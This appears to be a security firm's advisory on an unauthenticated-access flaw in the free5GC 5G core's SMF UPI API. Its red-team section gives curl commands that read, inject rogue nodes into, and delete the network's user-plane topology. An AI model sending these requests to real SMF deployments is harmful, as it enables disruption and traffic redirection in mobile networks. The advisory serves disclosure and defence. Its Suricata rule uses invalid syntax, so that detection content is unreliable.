CVE-2026-44329

Executive Summary

CVE-2026-44329 is a critical authentication bypass vulnerability in the free5GC open-source 5G core network implementation, affecting versions prior to 4.2.2. The Session Management Function (SMF) component exposes the User Plane Infrastructure (UPI) management route group without any OAuth2 or bearer-token authorization middleware. This allows any network attacker who can reach the SMF on the Service Based Interface (SBI) to perform arbitrary read, write, and delete operations on UPI resources (e.g., UP nodes and links) without any authentication. The vulnerability has a CVSS score of 10.0, indicating maximum severity, and is publicly documented with a confirmed fix in version 4.2.2.

Supply Chain & Package Security

This vulnerability affects the free5GC project, which is distributed as source code and Docker images. Organizations using free5GC in their 5G core network deployments must ensure they are running version 4.2.2 or later. The lack of authentication middleware in the SMF’s UPI route group represents a critical supply chain risk, as an attacker could compromise the entire 5G core network’s user plane infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – No authentication is needed to exploit.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – An attacker can read all UPI configuration data.
• Integrity Impact: High (I:H) – An attacker can modify or delete UPI resources.
• Availability Impact: High (A:H) – An attacker can delete critical UPI resources, causing denial of service.

Deep Dive & Mechanics

The free5GC SMF implements a RESTful API for managing User Plane Infrastructure (UPI) resources, including UP nodes and links. This API is exposed on the SBI (Service Based Interface) and is intended to be protected by OAuth2/bearer-token authorization middleware. However, in versions prior to 4.2.2, the route group for UPI endpoints (/upi/v1/upNodesLinks) was mounted without any authorization middleware. This means that any HTTP request to these endpoints, even without an Authorization header, is processed by the SMF business logic.

The vulnerable endpoints include:

• GET /upi/v1/upNodesLinks – Retrieves the list of UP nodes and links.
• POST /upi/v1/upNodesLinks – Creates or updates UP nodes and links with attacker-controlled payload.
• DELETE /upi/v1/upNodesLinks/{nodeID} – Deletes a specific UP node.

An attacker who can reach the SMF’s SBI port (typically TCP 80 or 8080) can exploit this to:

• Read the entire UPI topology, gaining intelligence about the network.
• Write malicious UP nodes and links, potentially redirecting user plane traffic or injecting rogue network functions.
• Delete critical UP nodes, causing a denial of service for user plane connectivity.

The fix in version 4.2.2 adds OAuth2/bearer-token authorization middleware to the UPI route group, ensuring that only authenticated and authorized requests are processed.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.2.2):

// In SMF router setup
router := mux.NewRouter()
// UPI route group mounted WITHOUT authorization middleware
upiGroup := router.PathPrefix("/upi/v1").Subrouter()
upiGroup.HandleFunc("/upNodesLinks", getUPNodesLinks).Methods("GET")
upiGroup.HandleFunc("/upNodesLinks", createUPNodesLinks).Methods("POST")
upiGroup.HandleFunc("/upNodesLinks/{nodeID}", deleteUPNodesLinks).Methods("DELETE")

Patched Code (4.2.2):

// In SMF router setup
router := mux.NewRouter()
// UPI route group mounted WITH OAuth2/bearer-token authorization middleware
upiGroup := router.PathPrefix("/upi/v1").Subrouter()
upiGroup.Use(authMiddleware) // OAuth2/bearer-token validation
upiGroup.HandleFunc("/upNodesLinks", getUPNodesLinks).Methods("GET")
upiGroup.HandleFunc("/upNodesLinks", createUPNodesLinks).Methods("POST")
upiGroup.HandleFunc("/upNodesLinks/{nodeID}", deleteUPNodesLinks).Methods("DELETE")

The authMiddleware function validates the Authorization header and ensures the bearer token is valid and has the required scopes.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy free5GC version 4.2.1 or earlier using Docker Compose from the official repository.
2. Ensure the SMF container is running and accessible on the SBI port (e.g., http://smf:80).
3. Use a tool like curl or Postman to interact with the UPI endpoints.

Exploitation Steps:

1. Read UPI resources:

   curl -X GET http://<SMF_IP>:80/upi/v1/upNodesLinks
   

   This returns the current UP nodes and links in JSON format.

2. Create a malicious UP node:

   curl -X POST http://<SMF_IP>:80/upi/v1/upNodesLinks \
     -H "Content-Type: application/json" \
     -d '{"nodeID": "attacker-node", "ip": "10.0.0.1", "port": 8080}'
   

3. Delete a critical UP node:

   curl -X DELETE http://<SMF_IP>:80/upi/v1/upNodesLinks/victim-node
   

Expected Outcome: The attacker can fully control the UPI configuration without any authentication.

Blue Team

Detection Steps:

1. Monitor SMF logs for requests to /upi/v1/upNodesLinks without an Authorization header.
2. Use network monitoring to detect anomalous HTTP requests to the SMF SBI port from unexpected sources.
3. Implement rate limiting and IP whitelisting on the SMF SBI interface.

Hunting Queries:

• Search for HTTP requests to /upi/v1/upNodesLinks with methods GET, POST, or DELETE.
• Look for requests with missing or invalid Authorization headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to http://<SMF_IP>/upi/v1/upNodesLinks without an Authorization header.
  • Unusual POST or DELETE requests to the UPI endpoints from external IPs.
• Log IOCs:
  • SMF logs showing successful operations on UPI resources without authentication.
  • Log entries with HTTP status 200 for requests to /upi/v1/upNodesLinks from unauthorized sources.
• File IOCs:
  • Modified UPI configuration files (e.g., upNodesLinks.json) with unexpected entries.

Detection Engineering

YARA Rule

rule CVE_2026_44329_UPI_Unauthenticated_Access {
    meta:
        description = "Detects unauthenticated access to free5GC SMF UPI endpoints"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-44329"
    strings:
        $upi_path = "/upi/v1/upNodesLinks"
        $no_auth = "Authorization:"
    condition:
        $upi_path and not $no_auth
}

Sigma Rule

title: Unauthenticated Access to free5GC SMF UPI Endpoints
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to free5GC SMF UPI endpoints without Authorization header
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: free5gc
detection:
    selection:
        cs-uri-path:
            - "/upi/v1/upNodesLinks"
        cs-method:
            - "GET"
            - "POST"
            - "DELETE"
    filter:
        cs-headers:
            - "Authorization:*"
    condition: selection and not filter
falsepositives:
    - Legitimate internal monitoring tools with proper authentication
level: critical

Suricata Rule

alert http any any -> $SMF_IP 80 (msg:"CVE-2026-44329 - Unauthenticated UPI Access to free5GC SMF"; flow:to_server; content:"/upi/v1/upNodesLinks"; http_uri; nocase; pcre:"/^(GET|POST|DELETE)\s/"; pcre:"/^Authorization\s*:/"; negate; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade free5GC to version 4.2.2 or later, which includes the OAuth2/bearer-token authorization middleware for the UPI route group.
2. If immediate upgrade is not possible, implement a reverse proxy (e.g., Nginx, HAProxy) in front of the SMF to enforce authentication for all requests to /upi/v1/upNodesLinks.
3. Restrict network access to the SMF SBI port to only trusted internal IPs using firewall rules.

Long-Term Mitigations:

1. Conduct a security audit of all free5GC components to ensure proper authentication middleware is applied to all API endpoints.
2. Implement network segmentation to isolate the 5G core network from untrusted networks.
3. Enable logging and monitoring for all SBI API requests and set up alerts for unauthenticated access attempts.

Patch Details:

• The fix is included in free5GC version 4.2.2. The patch adds OAuth2/bearer-token authorization middleware to the UPI route group in the SMF. The specific commit can be found in the free5GC GitHub repository.

Valters IT
Securing the Future of 5G Networks